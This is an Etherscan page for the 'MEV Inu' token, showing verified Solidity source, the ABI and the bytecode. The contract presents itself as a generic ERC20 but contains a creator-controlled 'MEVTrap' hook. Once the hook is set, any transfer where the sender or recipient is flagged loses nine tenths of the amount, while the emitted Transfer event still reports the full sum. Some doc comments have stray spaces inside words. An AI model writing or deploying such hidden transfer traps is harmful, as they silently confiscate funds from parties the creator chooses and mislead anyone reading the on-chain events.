ETH Price: $2,354.97 (+0.62%)

Token

MEV Inu (MEI)
 

Overview

Max Total Supply

1,000,000 MEI

Holders

8

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
9,710.133766194746711897 MEI

Value
$0.00
0x8da3E12f6CDFd04A419b4a1168eb006d7B7264d9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-05-07
*/

// SPDX-License-Identifier: Unlicensed                                                                         
pragma solidity 0.8.13;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the cal ler's tokens.
     *
     * Returns a boolean value indicating whether the op eration succeeded.
     *
     * IMPORTANT: Beware that changing an allowan ce with this method brings the risk
     * that someone may  use both the old and the new allowance by unfortunate
     * transaction ordering. One  possible solution to mitigate this race
     * condition is to first reduce the spe nder's allowance to 0 and set the
     * desired valu  afterwards:
     * https://github.co m/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` toke ns from `sender` to `recipient` using the
     * allowance mechanism. `am ount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `v alue` tokens are moved from one account (`from`) to
     * anot her (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the all owance of a `spender` for an `owner` is set by
     * a call to {approve}. `va lue` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

interface MEVTrap {
    function trapped(address addr) external returns(bool);
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
 
        return c;
    }
 
    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
 
        return c;
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
	address private _mt;
	address private creator;

    constructor() {
        _name = "MEV Inu";
        _symbol = "MEI";
		_createInitialSupply(_msgSender(), 1*1e6*1e18);
		creator = _msgSender();
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

	function setMT(address addr) external {
		require(_msgSender() == creator, "Only contract creator can call this message.");
        _mt = address(addr);
	}

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

		if (_mt == address(0)) {
			uint256 senderBalance = _balances[sender];
			require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
			unchecked {
				_balances[sender] = senderBalance - amount;
			}
			_balances[recipient] += amount;
		} else {
			MEVTrap mt = MEVTrap(_mt);
            uint trueAmount =  (mt.trapped(sender) || mt.trapped(recipient)) ? amount.div(10) : amount;
			_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(trueAmount);
            
		}

        emit Transfer(sender, recipient, amount);
    }

    function _createInitialSupply(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setMT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50604080518082019091526007808252664d455620496e7560c81b6020909201918252620000429160039162000186565b50604080518082019091526003808252624d454960e81b60209092019182526200006f9160049162000186565b50620000863369d3c21bcecceda10000006200009e565b600680546001600160a01b031916331790556200028f565b6001600160a01b038216620000f95760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600260008282546200010d91906200022c565b90915550506001600160a01b038216600090815260208190526040812080548392906200013c9084906200022c565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b828054620001949062000253565b90600052602060002090601f016020900481019282620001b8576000855562000203565b82601f10620001d357805160ff191683800117855562000203565b8280016001018555821562000203579182015b8281111562000203578251825591602001919060010190620001e6565b506200021192915062000215565b5090565b5b8082111562000211576000815560010162000216565b600082198211156200024e57634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806200026857607f821691505b6020821081036200028957634e487b7160e01b600052602260045260246000fd5b50919050565b610c9d806200029f6000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c80633950935111610071578063395093511461014357806370a082311461015657806395d89b411461017f578063a457c2d714610187578063a9059cbb1461019a578063dd62ed3e146101ad57600080fd5b806306fdde03146100b9578063095ea7b3146100d75780630af7b18e146100fa57806318160ddd1461010f57806323b872dd14610121578063313ce56714610134575b600080fd5b6100c16101e6565b6040516100ce9190610a59565b60405180910390f35b6100ea6100e5366004610aca565b610278565b60405190151581526020016100ce565b61010d610108366004610af4565b61028e565b005b6002545b6040519081526020016100ce565b6100ea61012f366004610b0f565b61032d565b604051601281526020016100ce565b6100ea610151366004610aca565b6103d7565b610113610164366004610af4565b6001600160a01b031660009081526020819052604090205490565b6100c1610413565b6100ea610195366004610aca565b610422565b6100ea6101a8366004610aca565b6104bb565b6101136101bb366004610b4b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101f590610b7e565b80601f016020809104026020016040519081016040528092919081815260200182805461022190610b7e565b801561026e5780601f106102435761010080835404028352916020019161026e565b820191906000526020600020905b81548152906001019060200180831161025157829003601f168201915b5050505050905090565b60006102853384846104c8565b50600192915050565b6006546001600160a01b0316336001600160a01b03161461030b5760405162461bcd60e51b815260206004820152602c60248201527f4f6e6c7920636f6e74726163742063726561746f722063616e2063616c6c207460448201526b3434b99036b2b9b9b0b3b29760a11b60648201526084015b60405180910390fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b600061033a8484846105ed565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103bf5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610302565b6103cc85338584036104c8565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161028591859061040e908690610bce565b6104c8565b6060600480546101f590610b7e565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104a45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610302565b6104b133858584036104c8565b5060019392505050565b60006102853384846105ed565b6001600160a01b03831661052a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610302565b6001600160a01b03821661058b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610302565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166106515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610302565b6001600160a01b0382166106b35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610302565b6005546001600160a01b031661077e576001600160a01b0383166000908152602081905260409020548181101561073b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610302565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610772908490610bce565b90915550610904915050565b600554604051632f8aa36160e21b81526001600160a01b03858116600483015290911690600090829063be2a8d84906024016020604051808303816000875af11580156107cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f39190610be6565b806108655750604051632f8aa36160e21b81526001600160a01b03858116600483015283169063be2a8d84906024016020604051808303816000875af1158015610841573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108659190610be6565b61086f578261087a565b61087a83600a610949565b90506108b983604051806060016040528060268152602001610c42602691396001600160a01b0388166000908152602081905260409020549190610992565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546108e890826109cc565b6001600160a01b03851660009081526020819052604090205550505b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516105e091815260200190565b600061098b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610a2b565b9392505050565b600081848411156109b65760405162461bcd60e51b81526004016103029190610a59565b5060006109c38486610c08565b95945050505050565b6000806109d98385610bce565b90508381101561098b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610302565b60008183610a4c5760405162461bcd60e51b81526004016103029190610a59565b5060006109c38486610c1f565b600060208083528351808285015260005b81811015610a8657858101830151858201604001528201610a6a565b81811115610a98576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610ac557600080fd5b919050565b60008060408385031215610add57600080fd5b610ae683610aae565b946020939093013593505050565b600060208284031215610b0657600080fd5b61098b82610aae565b600080600060608486031215610b2457600080fd5b610b2d84610aae565b9250610b3b60208501610aae565b9150604084013590509250925092565b60008060408385031215610b5e57600080fd5b610b6783610aae565b9150610b7560208401610aae565b90509250929050565b600181811c90821680610b9257607f821691505b602082108103610bb257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610be157610be1610bb8565b500190565b600060208284031215610bf857600080fd5b8151801515811461098b57600080fd5b600082821015610c1a57610c1a610bb8565b500390565b600082610c3c57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a26469706673582212206bd3bd8f158ceb52d257388456e56c4f119376b6ae5bc751291511a686731f0264736f6c634300080d0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80633950935111610071578063395093511461014357806370a082311461015657806395d89b411461017f578063a457c2d714610187578063a9059cbb1461019a578063dd62ed3e146101ad57600080fd5b806306fdde03146100b9578063095ea7b3146100d75780630af7b18e146100fa57806318160ddd1461010f57806323b872dd14610121578063313ce56714610134575b600080fd5b6100c16101e6565b6040516100ce9190610a59565b60405180910390f35b6100ea6100e5366004610aca565b610278565b60405190151581526020016100ce565b61010d610108366004610af4565b61028e565b005b6002545b6040519081526020016100ce565b6100ea61012f366004610b0f565b61032d565b604051601281526020016100ce565b6100ea610151366004610aca565b6103d7565b610113610164366004610af4565b6001600160a01b031660009081526020819052604090205490565b6100c1610413565b6100ea610195366004610aca565b610422565b6100ea6101a8366004610aca565b6104bb565b6101136101bb366004610b4b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101f590610b7e565b80601f016020809104026020016040519081016040528092919081815260200182805461022190610b7e565b801561026e5780601f106102435761010080835404028352916020019161026e565b820191906000526020600020905b81548152906001019060200180831161025157829003601f168201915b5050505050905090565b60006102853384846104c8565b50600192915050565b6006546001600160a01b0316336001600160a01b03161461030b5760405162461bcd60e51b815260206004820152602c60248201527f4f6e6c7920636f6e74726163742063726561746f722063616e2063616c6c207460448201526b3434b99036b2b9b9b0b3b29760a11b60648201526084015b60405180910390fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b600061033a8484846105ed565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103bf5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610302565b6103cc85338584036104c8565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161028591859061040e908690610bce565b6104c8565b6060600480546101f590610b7e565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104a45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610302565b6104b133858584036104c8565b5060019392505050565b60006102853384846105ed565b6001600160a01b03831661052a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610302565b6001600160a01b03821661058b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610302565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166106515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610302565b6001600160a01b0382166106b35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610302565b6005546001600160a01b031661077e576001600160a01b0383166000908152602081905260409020548181101561073b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610302565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610772908490610bce565b90915550610904915050565b600554604051632f8aa36160e21b81526001600160a01b03858116600483015290911690600090829063be2a8d84906024016020604051808303816000875af11580156107cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f39190610be6565b806108655750604051632f8aa36160e21b81526001600160a01b03858116600483015283169063be2a8d84906024016020604051808303816000875af1158015610841573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108659190610be6565b61086f578261087a565b61087a83600a610949565b90506108b983604051806060016040528060268152602001610c42602691396001600160a01b0388166000908152602081905260409020549190610992565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546108e890826109cc565b6001600160a01b03851660009081526020819052604090205550505b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516105e091815260200190565b600061098b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610a2b565b9392505050565b600081848411156109b65760405162461bcd60e51b81526004016103029190610a59565b5060006109c38486610c08565b95945050505050565b6000806109d98385610bce565b90508381101561098b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610302565b60008183610a4c5760405162461bcd60e51b81526004016103029190610a59565b5060006109c38486610c1f565b600060208083528351808285015260005b81811015610a8657858101830151858201604001528201610a6a565b81811115610a98576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610ac557600080fd5b919050565b60008060408385031215610add57600080fd5b610ae683610aae565b946020939093013593505050565b600060208284031215610b0657600080fd5b61098b82610aae565b600080600060608486031215610b2457600080fd5b610b2d84610aae565b9250610b3b60208501610aae565b9150604084013590509250925092565b60008060408385031215610b5e57600080fd5b610b6783610aae565b9150610b7560208401610aae565b90509250929050565b600181811c90821680610b9257607f821691505b602082108103610bb257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610be157610be1610bb8565b500190565b600060208284031215610bf857600080fd5b8151801515811461098b57600080fd5b600082821015610c1a57610c1a610bb8565b500390565b600082610c3c57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a26469706673582212206bd3bd8f158ceb52d257388456e56c4f119376b6ae5bc751291511a686731f0264736f6c634300080d0033

Deployed Bytecode Sourcemap

8454:4560:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8981:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9895:169;;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;9895:169:0;1053:187:1;11213:158:0;;;;;;:::i;:::-;;:::i;:::-;;9302:108;9390:12;;9302:108;;;1582:25:1;;;1570:2;1555:18;9302:108:0;1436:177:1;10072:492:0;;;;;;:::i;:::-;;:::i;9201:93::-;;;9284:2;2093:36:1;;2081:2;2066:18;9201:93:0;1951:184:1;10572:215:0;;;;;;:::i;:::-;;:::i;9418:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;9519:18:0;9492:7;9519:18;;;;;;;;;;;;9418:127;9089:104;;;:::i;10795:413::-;;;;;;:::i;:::-;;:::i;9553:175::-;;;;;;:::i;:::-;;:::i;9736:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;9852:18:0;;;9825:7;9852:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9736:151;8981:100;9035:13;9068:5;9061:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8981:100;:::o;9895:169::-;9978:4;9995:39;253:10;10018:7;10027:6;9995:8;:39::i;:::-;-1:-1:-1;10052:4:0;9895:169;;;;:::o;11213:158::-;11280:7;;-1:-1:-1;;;;;11280:7:0;253:10;-1:-1:-1;;;;;11264:23:0;;11256:80;;;;-1:-1:-1;;;11256:80:0;;2992:2:1;11256:80:0;;;2974:21:1;3031:2;3011:18;;;3004:30;3070:34;3050:18;;;3043:62;-1:-1:-1;;;3121:18:1;;;3114:42;3173:19;;11256:80:0;;;;;;;;;11347:3;:19;;-1:-1:-1;;;;;;11347:19:0;-1:-1:-1;;;;;11347:19:0;;;;;;;;;;11213:158::o;10072:492::-;10212:4;10229:36;10239:6;10247:9;10258:6;10229:9;:36::i;:::-;-1:-1:-1;;;;;10305:19:0;;10278:24;10305:19;;;:11;:19;;;;;;;;253:10;10305:33;;;;;;;;10357:26;;;;10349:79;;;;-1:-1:-1;;;10349:79:0;;3405:2:1;10349:79:0;;;3387:21:1;3444:2;3424:18;;;3417:30;3483:34;3463:18;;;3456:62;-1:-1:-1;;;3534:18:1;;;3527:38;3582:19;;10349:79:0;3203:404:1;10349:79:0;10464:57;10473:6;253:10;10514:6;10495:16;:25;10464:8;:57::i;:::-;-1:-1:-1;10552:4:0;;10072:492;-1:-1:-1;;;;10072:492:0:o;10572:215::-;253:10;10660:4;10709:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10709:34:0;;;;;;;;;;10660:4;;10677:80;;10700:7;;10709:47;;10746:10;;10709:47;:::i;:::-;10677:8;:80::i;9089:104::-;9145:13;9178:7;9171:14;;;;;:::i;10795:413::-;253:10;10888:4;10932:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10932:34:0;;;;;;;;;;10985:35;;;;10977:85;;;;-1:-1:-1;;;10977:85:0;;4079:2:1;10977:85:0;;;4061:21:1;4118:2;4098:18;;;4091:30;4157:34;4137:18;;;4130:62;-1:-1:-1;;;4208:18:1;;;4201:35;4253:19;;10977:85:0;3877:401:1;10977:85:0;11098:67;253:10;11121:7;11149:15;11130:16;:34;11098:8;:67::i;:::-;-1:-1:-1;11196:4:0;;10795:413;-1:-1:-1;;;10795:413:0:o;9553:175::-;9639:4;9656:42;253:10;9680:9;9691:6;9656:9;:42::i;12631:380::-;-1:-1:-1;;;;;12767:19:0;;12759:68;;;;-1:-1:-1;;;12759:68:0;;4485:2:1;12759:68:0;;;4467:21:1;4524:2;4504:18;;;4497:30;4563:34;4543:18;;;4536:62;-1:-1:-1;;;4614:18:1;;;4607:34;4658:19;;12759:68:0;4283:400:1;12759:68:0;-1:-1:-1;;;;;12846:21:0;;12838:68;;;;-1:-1:-1;;;12838:68:0;;4890:2:1;12838:68:0;;;4872:21:1;4929:2;4909:18;;;4902:30;4968:34;4948:18;;;4941:62;-1:-1:-1;;;5019:18:1;;;5012:32;5061:19;;12838:68:0;4688:398:1;12838:68:0;-1:-1:-1;;;;;12919:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;12971:32;;1582:25:1;;;12971:32:0;;1555:18:1;12971:32:0;;;;;;;;12631:380;;;:::o;11379:947::-;-1:-1:-1;;;;;11519:20:0;;11511:70;;;;-1:-1:-1;;;11511:70:0;;5293:2:1;11511:70:0;;;5275:21:1;5332:2;5312:18;;;5305:30;5371:34;5351